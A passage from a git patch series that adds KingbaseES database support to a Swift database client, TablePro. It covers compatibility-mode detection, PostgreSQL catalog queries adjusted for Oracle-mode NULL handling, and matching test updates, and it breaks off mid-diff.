Subject: [PATCH 4/6] test(kingbasees): classify generated SQL DDL support
---
.../Models/Database/SQLDDLFallbackPolicyTests.swift | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/apple/TableProTests/Models/Database/SQLDDLFallbackPolicyTests.swift b/apple/TableProTests/Models/Database/SQLDDLFallbackPolicyTests.swift
index ad08c61e2a..0496512e5d 100644
--- a/apple/TableProTests/Models/Database/SQLDDLFallbackPolicyTests.swift
+++ b/apple/TableProTests/Models/Database/SQLDDLFallbackPolicyTests.swift
@@ -13,7 +13,7 @@ struct SQLDDLFallbackPolicyTests {
@Test("Engines with SQL DDL keep the generated statement")
func sqlEnginesFabricate() {
for type in [
- DatabaseType.mysql, .postgresql, .sqlite, .mssql, .oracle,
+ DatabaseType.mysql, .postgresql, .kingbasees, .sqlite, .mssql, .oracle,
.duckdb, .cassandra, .trino, .presto, .teradata, .clickhouse, .bigQuery, .sapHana,
] {
#expect(SQLDDLFallbackPolicy.allowsGeneratedDDL(for: type), "\(type.rawValue) should fabricate")
@@ -58,7 +58,7 @@ struct SQLDDLFallbackPolicyTests {
}
private static let fabricatingTypes: Set = [
- .mysql, .mariadb, .tidb, .databend, .oceanbase, .postgresql, .sqlite, .redshift,
+ .mysql, .mariadb, .tidb, .databend, .oceanbase, .postgresql, .kingbasees, .sqlite, .redshift,
.cockroachdb, .pglite, .mssql, .oracle, .snowflake, .dameng, .clickhouse, .duckdb,
.cassandra, .scylladb, .cloudflareD1, .cloudflareR2SQL, .bigQuery, .spanner,
.libsql, .turso, .teradata, .trino, .presto, .sapHana,
From be6a56d4a7876e9fee83904e7a18898ffab55348 Mon Sep 17 00:00:00 2001
From: Ngo Quoc Dat
Date: Tue, 27 Oct 2026 16:35:19 +0700
Subject: [PATCH 5/6] refactor(kingbasees): honor the server's mode on every
path and list KingbaseES with PostgreSQL
---
.../TableProQuery/FilterColumnKind.swift | 5 +-
.../SQLEngineVocabulary.swift | 1 +
.../TableProTabular/TabularSorter.swift | 8 +-
.../FilterSQLGeneratorTests.swift | 9 --
.../SQLEngineVocabularyTests.swift | 3 +-
.../TabularSaveTests.swift | 3 +-
.../ClickHouseServerException.swift | 2 +-
.../KingbaseESCompatibilityMode.swift | 37 ++++++
.../KingbaseESPlugin.swift | 8 +-
.../KingbaseESPluginDriver.swift | 27 ++--
.../PostgreSQLIndexQueries.swift | 18 ++-
...PostgreSQLPluginDriver+ColumnReorder.swift | 4 +-
.../PostgreSQLSchemaManagementQueries.swift | 2 +-
.../PostgreSQLSchemaQueries.swift | 38 ++++--
.../PostgreSQLCatalogSQLPinTests.swift | 6 +-
...reSQLColumnDDLSequenceCollationTests.swift | 16 ++-
.../PostgreSQLColumnQueryTests.swift | 10 +-
.../PostgreSQLIndexReplayTests.swift | 8 +-
.../RedisDriverPlugin/RedisReply.swift | 2 +-
.../SQLiteDriverPlugin/SQLitePlugin.swift | 2 +-
.../Core/Autocomplete/CompletionEngine.swift | 7 +-
.../Autocomplete/QueryCompletionService.swift | 5 +-
.../SQLCompletionProvider+App.swift | 18 +--
.../Autocomplete/SQLCompletionService.swift | 7 +-
.../Core/Autocomplete/SQLSchemaProvider.swift | 6 +-
.../TablePro/Core/Compare/CompareRunner.swift | 8 +-
.../Core/Compare/CompareSQLLiteral.swift | 3 +-
.../Compare/CompareSyncEngineFamily.swift | 27 +++-
.../Core/Compare/CompareSyncExecutor.swift | 16 ++-
.../Core/Compare/CompareSyncSession.swift | 19 ++-
.../Compare/SchemaSyncScriptBuilder.swift | 7 +-
.../Core/Compare/SourceObjectDiffEngine.swift | 12 +-
.../Compare/SourceObjectSyncBuilder.swift | 8 +-
.../SourceFileDiskChangeMonitor.swift | 7 +-
.../CrossEngineIndexTranslator.swift | 2 +-
.../Core/CrossEngine/SQLTypeFamily.swift | 16 +++
.../Core/DataWrite/DataWriteRowCounts.swift | 2 +-
.../DataWrite/ExplicitIdentityInsert.swift | 2 +-
.../Access/DatabaseAccessBridge.swift | 16 ++-
.../Database/DatabaseManager+Startup.swift | 14 +-
.../Core/Database/FilterSQLGenerator.swift | 15 ++-
.../Core/Diagnostics/QueryDiagnostic.swift | 5 +-
.../ObjectCopy/ObjectCopyEligibility.swift | 48 ++++++-
.../Core/ObjectCopy/ObjectCopyPlan.swift | 9 +-
.../Core/ObjectCopy/ObjectCopyPlanner.swift | 31 ++++-
.../Core/ObjectCopy/ObjectCopySession.swift | 4 +-
.../Core/Plugins/DatabaseType+Registry.swift | 2 +
.../Plugins/ExportDataSourceAdapter.swift | 5 +-
.../Core/Plugins/ImportDataSinkAdapter.swift | 7 +-
.../Core/Plugins/ImportTypeMapper.swift | 5 +-
...uginMetadataRegistry+CuratedDefaults.swift | 2 +-
...nMetadataRegistry+KingbaseESDefaults.swift | 48 ++++---
...ginMetadataRegistry+RegistryDefaults.swift | 24 +---
.../Providers/OracleDashboardProvider.swift | 5 +-
.../PostgreSQLDashboardProvider.swift | 3 +-
.../ServerDashboardQueryProviderFactory.swift | 2 +-
.../CellValues/CellExpressionVocabulary.swift | 5 +-
.../Execution/TransactionEngineFamily.swift | 1 +
.../Core/Services/Export/ImportService.swift | 2 +-
.../Services/Export/RowImportTableMaker.swift | 5 +-
.../Services/Query/CatalogChangeService.swift | 10 +-
.../Query/ExplainPlanFormatDefaults.swift | 2 +-
.../SQL/CatalogChangeClassifier.swift | 16 ++-
.../Utilities/SQL/QueryClassifier+PLSQL.swift | 4 -
.../Core/Utilities/SQL/QueryClassifier.swift | 5 +-
.../Utilities/SQL/SQLLexicalResolver.swift | 9 +-
.../SQL/SQLRowToStatementConverter.swift | 5 +-
.../Core/Utilities/SQL/SQLScriptText.swift | 7 +-
.../Schema/ColumnDefaultVocabulary.swift | 11 +-
.../Models/Schema/ForeignKeyDialect.swift | 2 +-
.../Models/Schema/IndexKeyDialect.swift | 2 +-
.../TablePro/Resources/Localizable.xcstrings | 20 ++-
.../AIChatViewModel+Persistence.swift | 2 +-
.../AIChatViewModel+SchemaContext.swift | 2 +-
.../Editor/Folding/FoldProviderResolver.swift | 10 +-
.../Views/Editor/QueryCompletionAdapter.swift | 11 +-
.../Editor/QueryDiagnosticsController.swift | 5 +-
.../Views/Editor/SQLEditorController.swift | 37 +++++-
...ditorCoordinator+InvisibleCharacters.swift | 3 +-
.../Views/Editor/SQLEditorCoordinator.swift | 25 +++-
.../TablePro/Views/Import/ImportDialog.swift | 10 +-
.../Results/TreeOutline/TreeOutlineView.swift | 6 +-
.../Services/IOSConnectionImportService.swift | 2 +-
.../MacOnlyImportRowTests.swift | 4 +-
.../CompareSyncEngineFamilyTests.swift | 42 ++++++
.../CrossEngineIndexTypeTests.swift | 7 +
.../DataWrite/DataWriteExecutorTests.swift | 12 ++
...angeStatementFactoryServerOwnedTests.swift | 6 +-
.../DatabaseAccessBridgeStatementTests.swift | 23 ++++
.../FilterSQLGeneratorColumnTypeTests.swift | 34 +++++
.../Database/StartupStatementsTests.swift | 8 ++
.../ObjectCopyEligibilityTests.swift | 35 +++++
...luginMetadataRegistryKingbaseESTests.swift | 6 +-
...PluginMetadataRegistryTypeCountTests.swift | 2 +-
.../PostgreSQLDashboardProviderTests.swift | 9 ++
...erDashboardQueryProviderFactoryTests.swift | 3 +-
.../TransactionEngineFamilyTests.swift | 2 +-
.../ImportServiceSessionGrammarTests.swift | 112 ++++++++++++++++
.../ExplainPlanFormatResolutionTests.swift | 1 +
.../SQL/CatalogChangeClassifierTests.swift | 10 ++
.../SQL/QueryClassifierLexicalTests.swift | 1 +
.../Utilities/SQL/SQLScriptTextTests.swift | 9 ++
.../SQLRowToStatementConverterTests.swift | 13 ++
.../Helpers/ScriptAnsweringDriver.swift | 3 +
apple/TableProTests/Helpers/TestGrammar.swift | 13 ++
.../Schema/ColumnDefaultVocabularyTests.swift | 3 +
.../Schema/ForeignKeyDialectTests.swift | 7 +
.../Models/Schema/IndexKeyListTests.swift | 2 +-
.../Editor/SQLEditorSessionGrammarTests.swift | 80 ++++++++++++
apple/scripts/probes/check-kingbasees.sh | 2 -
apple/scripts/probes/kingbasees-probe.swift | 121 +++++++++++-------
111 files changed, 1097 insertions(+), 318 deletions(-)
create mode 100644 apple/Plugins/KingbaseESDriverPlugin/KingbaseESCompatibilityMode.swift
create mode 100644 apple/TableProTests/Core/Compare/CompareSyncEngineFamilyTests.swift
create mode 100644 apple/TableProTests/Core/Services/ImportServiceSessionGrammarTests.swift
create mode 100644 apple/TableProTests/Views/Editor/SQLEditorSessionGrammarTests.swift
diff --git a/apple/Packages/TableProCore/Sources/TableProQuery/FilterColumnKind.swift b/apple/Packages/TableProCore/Sources/TableProQuery/FilterColumnKind.swift
index a41aea1dac..03b827341b 100644
--- a/apple/Packages/TableProCore/Sources/TableProQuery/FilterColumnKind.swift
+++ b/apple/Packages/TableProCore/Sources/TableProQuery/FilterColumnKind.swift
@@ -72,10 +72,9 @@ nonisolated public enum FilterColumnKind {
// number: `bit = 101` and `boolean = 1` have no operator, and a `real` never equals the numeric 0.1.
// DuckDB runs `bit = 101` and finds no row; `bit = '101'` finds it.
private static func engineKind(_ kind: PluginColumnKind, typeName: String, databaseType: DatabaseType?) -> PluginColumnKind {
- if let databaseType, SqlDialect.from(databaseTypeId: databaseType.rawValue) == .postgres {
- return kind == .integer && !nonNumericIntegerNames.contains(typeName) ? .integer : .text
- }
switch databaseType {
+ case .postgresql?, .redshift?:
+ return kind == .integer && !nonNumericIntegerNames.contains(typeName) ? .integer : .text
case .duckdb?:
return typeName == "bit" ? .text : kind
default:
diff --git a/apple/Packages/TableProCore/Sources/TableProSQLVocabulary/SQLEngineVocabulary.swift b/apple/Packages/TableProCore/Sources/TableProSQLVocabulary/SQLEngineVocabulary.swift
index be6c736643..958fc6f6a8 100644
--- a/apple/Packages/TableProCore/Sources/TableProSQLVocabulary/SQLEngineVocabulary.swift
+++ b/apple/Packages/TableProCore/Sources/TableProSQLVocabulary/SQLEngineVocabulary.swift
@@ -67,6 +67,7 @@ public struct SQLEngineVocabulary: Sendable, Hashable {
"PostgreSQL": postgreSQL,
"CockroachDB": postgreSQL,
"PGlite": postgreSQL,
+ "KingbaseES": postgreSQL,
"Redshift": redshift,
"SQLite": sqlite,
"SQL Server": sqlServer,
diff --git a/apple/Packages/TableProCore/Sources/TableProTabular/TabularSorter.swift b/apple/Packages/TableProCore/Sources/TableProTabular/TabularSorter.swift
index 1cb592fbba..5ae5a3308f 100644
--- a/apple/Packages/TableProCore/Sources/TableProTabular/TabularSorter.swift
+++ b/apple/Packages/TableProCore/Sources/TableProTabular/TabularSorter.swift
@@ -147,7 +147,7 @@ public enum TabularSorter {
private static func sortPositions(count: Int, buffers: SortKeyBuffers) async throws -> [Int] {
let chunks = TabularChunking.ranges(count: count)
- var runs: [[Int]] = try await withThrowingTaskGroup(of: (Int, [Int]).self) { group in
+ var runs = try await withThrowingTaskGroup(of: (Int, [Int]).self) { group in
for (index, chunk) in chunks.enumerated() {
group.addTask {
try Task.checkCancellation()
@@ -165,10 +165,8 @@ public enum TabularSorter {
}
while runs.count > 1 {
try Task.checkCancellation()
- let pairs: [([Int], [Int])] = stride(from: 0, to: runs.count, by: 2).map { index in
- let left: [Int] = runs[index]
- let right: [Int] = index + 1 < runs.count ? runs[index + 1] : []
- return (left, right)
+ let pairs = stride(from: 0, to: runs.count, by: 2).map { index in
+ (runs[index], index + 1 < runs.count ? runs[index + 1] : [])
}
runs = try await withThrowingTaskGroup(of: (Int, [Int]).self) { group in
for (index, pair) in pairs.enumerated() {
diff --git a/apple/Packages/TableProCore/Tests/TableProQueryTests/FilterSQLGeneratorTests.swift b/apple/Packages/TableProCore/Tests/TableProQueryTests/FilterSQLGeneratorTests.swift
index 73838a4037..0e64785a6e 100644
--- a/apple/Packages/TableProCore/Tests/TableProQueryTests/FilterSQLGeneratorTests.swift
+++ b/apple/Packages/TableProCore/Tests/TableProQueryTests/FilterSQLGeneratorTests.swift
@@ -455,13 +455,4 @@ struct FilterSQLGeneratorTests {
#expect(FilterColumnKind.keyLiteral("05", column: nil, databaseType: .sqlite) == .text("05"))
#expect(FilterColumnKind.keyLiteral("2.5", column: nil, databaseType: .sqlite) == .numberOrText("2.5"))
}
- @Test("KingbaseES filters keep the server's boolean, bit and floating-point type resolution")
- func kingbaseTypedFilters() {
- let engine = DatabaseType(rawValue: "KingbaseES")
- for name in ["boolean", "bit", "real", "double precision", "numeric(10,2)"] {
- let column = ColumnInfo(name: "v", typeName: name)
- #expect(engineClause(engine, column, "1") == "WHERE \"v\" = '1'")
- }
- #expect(engineClause(engine, ColumnInfo(name: "id", typeName: "bigint"), "5") == "WHERE \"id\" = 5")
- }
}
diff --git a/apple/Packages/TableProCore/Tests/TableProSQLVocabularyTests/SQLEngineVocabularyTests.swift b/apple/Packages/TableProCore/Tests/TableProSQLVocabularyTests/SQLEngineVocabularyTests.swift
index 42ef86641d..8cf6396385 100644
--- a/apple/Packages/TableProCore/Tests/TableProSQLVocabularyTests/SQLEngineVocabularyTests.swift
+++ b/apple/Packages/TableProCore/Tests/TableProSQLVocabularyTests/SQLEngineVocabularyTests.swift
@@ -9,7 +9,7 @@ struct SQLEngineVocabularyTests {
let typeIds = SQLEngineVocabulary.curatedDatabaseTypeIds
#expect(typeIds == [
"MySQL", "MariaDB", "TiDB", "Databend", "OceanBase",
- "PostgreSQL", "CockroachDB", "PGlite", "Redshift",
+ "PostgreSQL", "CockroachDB", "PGlite", "KingbaseES", "Redshift",
"SQLite", "SQL Server", "Oracle", "DuckDB",
])
for typeId in typeIds {
@@ -32,6 +32,7 @@ struct SQLEngineVocabularyTests {
("OceanBase", "MySQL"),
("CockroachDB", "PostgreSQL"),
("PGlite", "PostgreSQL"),
+ ("KingbaseES", "PostgreSQL"),
])
func variantResolvesLikeItsBase(variant: String, base: String) {
let resolved = SQLEngineVocabulary.curated(forDatabaseTypeId: variant)
diff --git a/apple/Packages/TableProCore/Tests/TableProTabularTests/TabularSaveTests.swift b/apple/Packages/TableProCore/Tests/TableProTabularTests/TabularSaveTests.swift
index b6a9edaa9a..157849c304 100644
--- a/apple/Packages/TableProCore/Tests/TableProTabularTests/TabularSaveTests.swift
+++ b/apple/Packages/TableProCore/Tests/TableProTabularTests/TabularSaveTests.swift
@@ -173,8 +173,7 @@ final class TabularSaveTests {
#expect(try save(table, source: source) == export.rows[0] + export.rows[1] + export.rows[3] + export.rows[4])
var reordered = original
reordered.replaceRowOrder(.explicit([4, 2, 3, 1]))
- let expected: [UInt8] = [0, 4, 2, 3, 1].flatMap { export.rows[$0] }
- #expect(try save(reordered, source: source) == expected)
+ #expect(try save(reordered, source: source) == export.rows[0] + export.rows[4] + export.rows[2] + export.rows[3] + export.rows[1])
}
@Test func testAnEditNearTheEndOfALargeShiftJISFileLeavesEveryOtherByte() async throws {
diff --git a/apple/Plugins/ClickHouseDriverPlugin/ClickHouseServerException.swift b/apple/Plugins/ClickHouseDriverPlugin/ClickHouseServerException.swift
index 93bb003f56..713f8f5d87 100644
--- a/apple/Plugins/ClickHouseDriverPlugin/ClickHouseServerException.swift
+++ b/apple/Plugins/ClickHouseDriverPlugin/ClickHouseServerException.swift
@@ -79,7 +79,7 @@ nonisolated enum ClickHouseServerException {
static func message(inFailureBody body: String) -> String {
let bytes = Array(body.utf8)
let text = framedMessage(in: bytes, tag: nil, header: nil)
- ?? rawExceptionStart(in: bytes).map { Self.text(of: bytes[$0...]) }
+ ?? rawExceptionStart(in: bytes).map { text(of: bytes[$0...]) }
?? body
return text.trimmingCharacters(in: .whitespacesAndNewlines)
}
diff --git a/apple/Plugins/KingbaseESDriverPlugin/KingbaseESCompatibilityMode.swift b/apple/Plugins/KingbaseESDriverPlugin/KingbaseESCompatibilityMode.swift
new file mode 100644
index 0000000000..3dca8c1353
--- /dev/null
+++ b/apple/Plugins/KingbaseESDriverPlugin/KingbaseESCompatibilityMode.swift
@@ -0,0 +1,37 @@
+import Foundation
+import TableProPluginKit
+
+/// The SQL a KingbaseES server speaks, fixed when its cluster is initialized.
+enum KingbaseESCompatibilityMode: Equatable, Sendable {
+ case postgreSQL
+ case oracle
+
+ // The two-argument form answers NULL where the parameter does not exist, which reads as PostgreSQL mode.
+ static let probeQuery = "SELECT current_setting('database_mode', true)"
+
+ static let lexicalFeaturesItDecides: SQLLexicalFeatures = [
+ .alternativeQuoting, .plsqlBlocks, .slashLineTerminators, .dollarAndHashInIdentifiers,
+ ]
+
+ init(setting: String?) throws {
+ switch setting?.lowercased() {
+ case nil, "pg":
+ self = .postgreSQL
+ case "oracle":
+ self = .oracle
+ case let other?:
+ throw LibPQPluginError(
+ message: String(
+ format: String(localized: "KingbaseES in %@ mode is not supported. Connect to a server in PostgreSQL or Oracle mode."),
+ other
+ ),
+ sqlState: nil,
+ detail: nil
+ )
+ }
+ }
+
+ var lexicalFeatures: SQLLexicalFeatures {
+ self == .oracle ? Self.lexicalFeaturesItDecides : []
+ }
+}
diff --git a/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPlugin.swift b/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPlugin.swift
index 44edd1344e..bbcf6caae8 100644
--- a/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPlugin.swift
+++ b/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPlugin.swift
@@ -9,13 +9,17 @@ final class KingbaseESPlugin: NSObject, TableProPlugin, DriverPlugin {
static let databaseTypeId = "KingbaseES"
static let databaseDisplayName = "KingbaseES"
- static let iconName = "postgresql-icon"
+ static let iconName = "cylinder"
static let defaultPort = 54_321
static let isDownloadable = true
static let urlSchemes = ["kingbase", "kingbase8"]
static let brandColorHex = "#C9141E"
static let systemDatabaseNames = PostgreSQLPlugin.systemDatabaseNames
- static let systemSchemaNames = ["pg_catalog", "sys_catalog", "information_schema", "pg_toast"]
+ static let systemSchemaNames = [
+ "pg_catalog", "information_schema", "pg_toast", "sys_catalog", "sys", "anon", "dbms_job", "dbms_scheduler",
+ "dbms_sql", "kdb_schedule", "perf", "pg_bitmapindex", "src_restrict", "sys_hm", "sysaudit", "sysmac", "wmsys",
+ "xlog_record_read"
+ ]
static let additionalConnectionFields: [ConnectionField] = [
ConnectionField(
diff --git a/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPluginDriver.swift b/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPluginDriver.swift
index 47d0128508..a6892028d6 100644
--- a/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPluginDriver.swift
+++ b/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPluginDriver.swift
@@ -3,34 +3,25 @@ import os
import TableProPluginKit
final class KingbaseESPluginDriver: PostgreSQLPluginDriver, @unchecked Sendable {
- private let oracleMode = OSAllocatedUnfairLock(initialState: false)
- private static let modeFeatures: SQLLexicalFeatures = [
- .alternativeQuoting, .plsqlBlocks, .slashLineTerminators, .dollarAndHashInIdentifiers
- ]
+ private let mode = OSAllocatedUnfairLock(initialState: KingbaseESCompatibilityMode.postgreSQL)
override var sessionLexicalState: PluginSessionLexicalState? {
- let inherited = super.sessionLexicalState
- let enabled = oracleMode.withLock { $0 } ? Self.modeFeatures : []
+ guard let inherited = super.sessionLexicalState else { return nil }
+ let modeFeatures = mode.withLock { $0 }.lexicalFeatures
return PluginSessionLexicalState(
- determined: (inherited?.determined ?? []).union(Self.modeFeatures),
- enabled: (inherited?.enabled ?? []).union(enabled)
+ determined: inherited.determined.union(KingbaseESCompatibilityMode.lexicalFeaturesItDecides),
+ enabled: inherited.enabled.union(modeFeatures)
)
}
override func connect() async throws {
try await super.connect()
do {
- let result = try await execute(query: "SELECT current_setting('database_mode')")
- let mode = result.rows.first?.first?.asText?.lowercased()
- guard mode == "pg" || mode == "oracle" else {
- throw LibPQPluginError(
- message: String(localized: "This KingbaseES compatibility mode is not supported. Use PostgreSQL or Oracle mode."),
- sqlState: nil, detail: nil
- )
- }
- oracleMode.withLock { $0 = mode == "oracle" }
+ let result = try await execute(query: KingbaseESCompatibilityMode.probeQuery)
+ let detected = try KingbaseESCompatibilityMode(setting: result.rows.first?.first?.asText)
+ mode.withLock { $0 = detected }
} catch {
- await disconnect()
+ disconnect()
throw error
}
}
diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLIndexQueries.swift b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLIndexQueries.swift
index 4968b271b4..4a0e63f1e7 100644
--- a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLIndexQueries.swift
+++ b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLIndexQueries.swift
@@ -125,7 +125,9 @@ nonisolated enum PostgreSQLIndexQueries {
/// `pg_get_expr` writes it, which is the same deparse with the same flags. When either end fails to
/// match byte for byte, `method_and_keys` is NULL and the index falls back to its fields. Cutting
/// at the first ` USING ` or the last ` WHERE ` instead would split an index named
- /// `i ON s.t USING btree (` or a predicate holding the literal `' WHERE '`.
+ /// `i ON s.t USING btree (` or a predicate holding the literal `' WHERE '`. An index without a
+ /// predicate has a NULL suffix, never `''`: KingbaseES in Oracle mode reads `''` as NULL and
+ /// `' WHERE ' || NULL` as ` WHERE `.
static func indexDDLQuery(schema: String, table: String?) -> String {
let schemaLiteral = PostgreSQLObjectQueries.quoteLiteral(schema)
let tablePredicate = table.map { " AND t.relname = \(PostgreSQLObjectQueries.quoteLiteral($0))" } ?? ""
@@ -134,15 +136,17 @@ nonisolated enum PostgreSQLIndexQueries {
d.table_name,
d.index_name,
CASE
- WHEN pg_catalog.length(d.definition) >= pg_catalog.length(d.prefix) + pg_catalog.length(d.suffix)
+ WHEN pg_catalog.length(d.definition)
+ >= pg_catalog.length(d.prefix) + COALESCE(pg_catalog.length(d.suffix), 0)
AND pg_catalog.substr(d.definition, 1, pg_catalog.length(d.prefix)) = d.prefix
- AND pg_catalog.substr(
+ AND (d.suffix IS NULL OR pg_catalog.substr(
d.definition, pg_catalog.length(d.definition) - pg_catalog.length(d.suffix) + 1
- ) = d.suffix
+ ) = d.suffix)
THEN pg_catalog.substr(
d.definition,
pg_catalog.length(d.prefix) + 1,
- pg_catalog.length(d.definition) - pg_catalog.length(d.prefix) - pg_catalog.length(d.suffix)
+ pg_catalog.length(d.definition) - pg_catalog.length(d.prefix)
+ - COALESCE(pg_catalog.length(d.suffix), 0)
)
END AS method_and_keys,
d.predicate
@@ -162,7 +166,9 @@ nonisolated enum PostgreSQLIndexQueries {
END
|| pg_catalog.quote_ident(n.nspname) || '.' || pg_catalog.quote_ident(t.relname) || ' '
AS prefix,
- COALESCE(' WHERE ' || pg_catalog.pg_get_expr(ix.indpred, ix.indrelid), '') AS suffix,
+ CASE WHEN ix.indpred IS NOT NULL
+ THEN ' WHERE ' || pg_catalog.pg_get_expr(ix.indpred, ix.indrelid)
+ END AS suffix,
pg_catalog.pg_get_expr(ix.indpred, ix.indrelid) AS predicate
FROM pg_catalog.pg_index ix
JOIN pg_catalog.pg_class i ON i.oid = ix.indexrelid
diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver+ColumnReorder.swift b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver+ColumnReorder.swift
index 6e50299834..260d95fe3b 100644
--- a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver+ColumnReorder.swift
+++ b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver+ColumnReorder.swift
@@ -137,7 +137,7 @@ extension PostgreSQLPluginDriver {
JOIN pg_class c ON c.oid = t.tgrelid
JOIN pg_namespace n ON n.oid = c.relnamespace
WHERE c.relname = \(tableLiteral) AND n.nspname = \(schemaLiteral) AND NOT t.tgisinternal
- AND t.tgenabled <> 'O'
+ AND t.tgenabled IN ('D', 'R', 'A')
ORDER BY t.tgname
""")
@@ -155,7 +155,7 @@ extension PostgreSQLPluginDriver {
JOIN pg_namespace n ON n.oid = c.relnamespace
WHERE c.relname = \(tableLiteral) AND n.nspname = \(schemaLiteral)
AND a.attnum > 0 AND NOT a.attisdropped
- AND \(caps.hasIdentityColumns ? "a.attidentity = ''" : "true")
+ AND \(caps.hasIdentityColumns ? "a.attidentity NOT IN ('a', 'd')" : "true")
AND pg_get_serial_sequence(
quote_ident(n.nspname) || '.' || quote_ident(c.relname), a.attname
) IS NOT NULL
diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLSchemaManagementQueries.swift b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLSchemaManagementQueries.swift
index cffd92b8b9..ed0db78a91 100644
--- a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLSchemaManagementQueries.swift
+++ b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLSchemaManagementQueries.swift
@@ -58,7 +58,7 @@ enum PostgreSQLSchemaManagementQueries {
) s
LEFT JOIN pg_catalog.pg_roles gte ON gte.oid = (s.acl).grantee
LEFT JOIN pg_catalog.pg_roles gtr ON gtr.oid = (s.acl).grantor
- ORDER BY 2, 3
+ ORDER BY gte.rolname NULLS FIRST, 3
"""
}
diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLSchemaQueries.swift b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLSchemaQueries.swift
index 027a5b69e7..b38f26b455 100644
--- a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLSchemaQueries.swift
+++ b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLSchemaQueries.swift
@@ -329,17 +329,23 @@ enum PostgreSQLSchemaQueries {
/// inherits `C` from its domain and one declared `COLLATE "C"` over `text` report `C` in
/// `information_schema`, and only the second declares it. Reads the attribute as `a`, which every
/// column read and column DDL builder in this plugin aliases it to.
- static let columnCollation = """
+ static let columnCollation = declaredCollation(PostgreSQLObjectQueries.collationName("a.attcollation"))
+
+ /// `columnCollation` as the text a column definition appends after its type: ` COLLATE `, or
+ /// an empty string.
+ // The keyword sits inside the THEN: KingbaseES in Oracle mode reads `' COLLATE ' || NULL` as ` COLLATE `.
+ static let columnCollateClause = declaredCollation(
+ "' COLLATE ' || \(PostgreSQLObjectQueries.collationName("a.attcollation"))", otherwise: "''"
+ )
+
+ private static func declaredCollation(_ value: String, otherwise fallback: String? = nil) -> String {
+ """
CASE WHEN a.attcollation <> 0
AND a.attcollation <> (SELECT ty.typcollation FROM pg_catalog.pg_type ty WHERE ty.oid = a.atttypid)
- THEN \(PostgreSQLObjectQueries.collationName("a.attcollation"))
+ THEN \(value)\(fallback.map { "\n ELSE \($0)" } ?? "")
END
"""
-
- /// `columnCollation` as the text a column definition appends after its type: ` COLLATE `, or
- /// an empty string.
- // Oracle-compatible servers concatenate NULL as empty, so COALESCE after concatenation keeps a bare COLLATE.
- static let columnCollateClause = "CASE WHEN (\(columnCollation)) IS NULL THEN '' ELSE ' COLLATE ' || \(columnCollation) END"
+ }
/// One array over the sequences this column's default reads in the table's own schema, ordered by
/// oid so the qualified and relative arrays pair element for element.
@@ -432,8 +438,8 @@ enum PostgreSQLSchemaQueries {
}
static func rebuildColumnsQuery(schema: String, table: String, capabilities: PostgreSQLCapabilities) -> String {
- let identityFlag = capabilities.hasIdentityColumns ? "a.attidentity <> ''" : "false"
- let generatedFlag = capabilities.hasGeneratedColumns ? "a.attgenerated <> ''" : "false"
+ let identityFlag = capabilities.hasIdentityColumns ? "a.attidentity IN ('a', 'd')" : "false"
+ let generatedFlag = capabilities.hasGeneratedColumns ? "a.attgenerated IN ('s', 'v')" : "false"
return """
SELECT
a.attname,
@@ -459,9 +465,10 @@ enum PostgreSQLSchemaQueries {
ELSE ''
END ||
""" : ""
+ // The kinds are named because KingbaseES in Oracle mode reads `''` as NULL, so `= ''` is never true there.
let defaultGuard = [
- capabilities.hasIdentityColumns ? "AND a.attidentity = ''" : "",
- capabilities.hasGeneratedColumns ? "AND a.attgenerated = ''" : ""
+ capabilities.hasIdentityColumns ? "AND a.attidentity NOT IN ('a', 'd')" : "",
+ capabilities.hasGeneratedColumns ? "AND a.attgenerated NOT IN ('s', 'v')" : ""
].filter { !$0.isEmpty }.joined(separator: " ")
return """
quote_ident(a.attname) || ' ' || format_type(a.atttypid, a.atttypmod) || \(columnCollateClause) ||
@@ -524,8 +531,15 @@ enum PostgreSQLSchemaQueries {
let includesTableName = table == nil
let identityProjection = capabilities.hasIdentityColumns ? "a.attidentity" : "NULL::text"
let generatedProjection = capabilities.hasGeneratedColumns ? "a.attgenerated" : "NULL::text"
+ // Not `c.generation_expression`: KingbaseES's Oracle-mode view compares `attgenerated <> NULL`, so it is always NULL.
let generationExpressionProjection = capabilities.hasGeneratedColumns
- ? "c.generation_expression"
+ ? """
+ CASE WHEN a.attgenerated IN ('s', 'v')
+ THEN (SELECT pg_catalog.pg_get_expr(ad.adbin, ad.adrelid)
+ FROM pg_catalog.pg_attrdef ad
+ WHERE ad.adrelid = a.attrelid AND ad.adnum = a.attnum)
+ END
+ """
: "NULL::text"
let attributeJoin = """
diff --git a/apple/Plugins/PostgreSQLDriverTests/PostgreSQLCatalogSQLPinTests.swift b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLCatalogSQLPinTests.swift
index 4ee26ebffe..b3f682d6a6 100644
--- a/apple/Plugins/PostgreSQLDriverTests/PostgreSQLCatalogSQLPinTests.swift
+++ b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLCatalogSQLPinTests.swift
@@ -277,7 +277,11 @@ struct PostgreSQLCatalogSQLPinTests {
a.attidentity AS identity_kind,
a.attgenerated AS generated_kind,
c.udt_schema AS udt_schema,
- c.generation_expression AS generation_expression,
+ CASE WHEN a.attgenerated IN ('s', 'v')
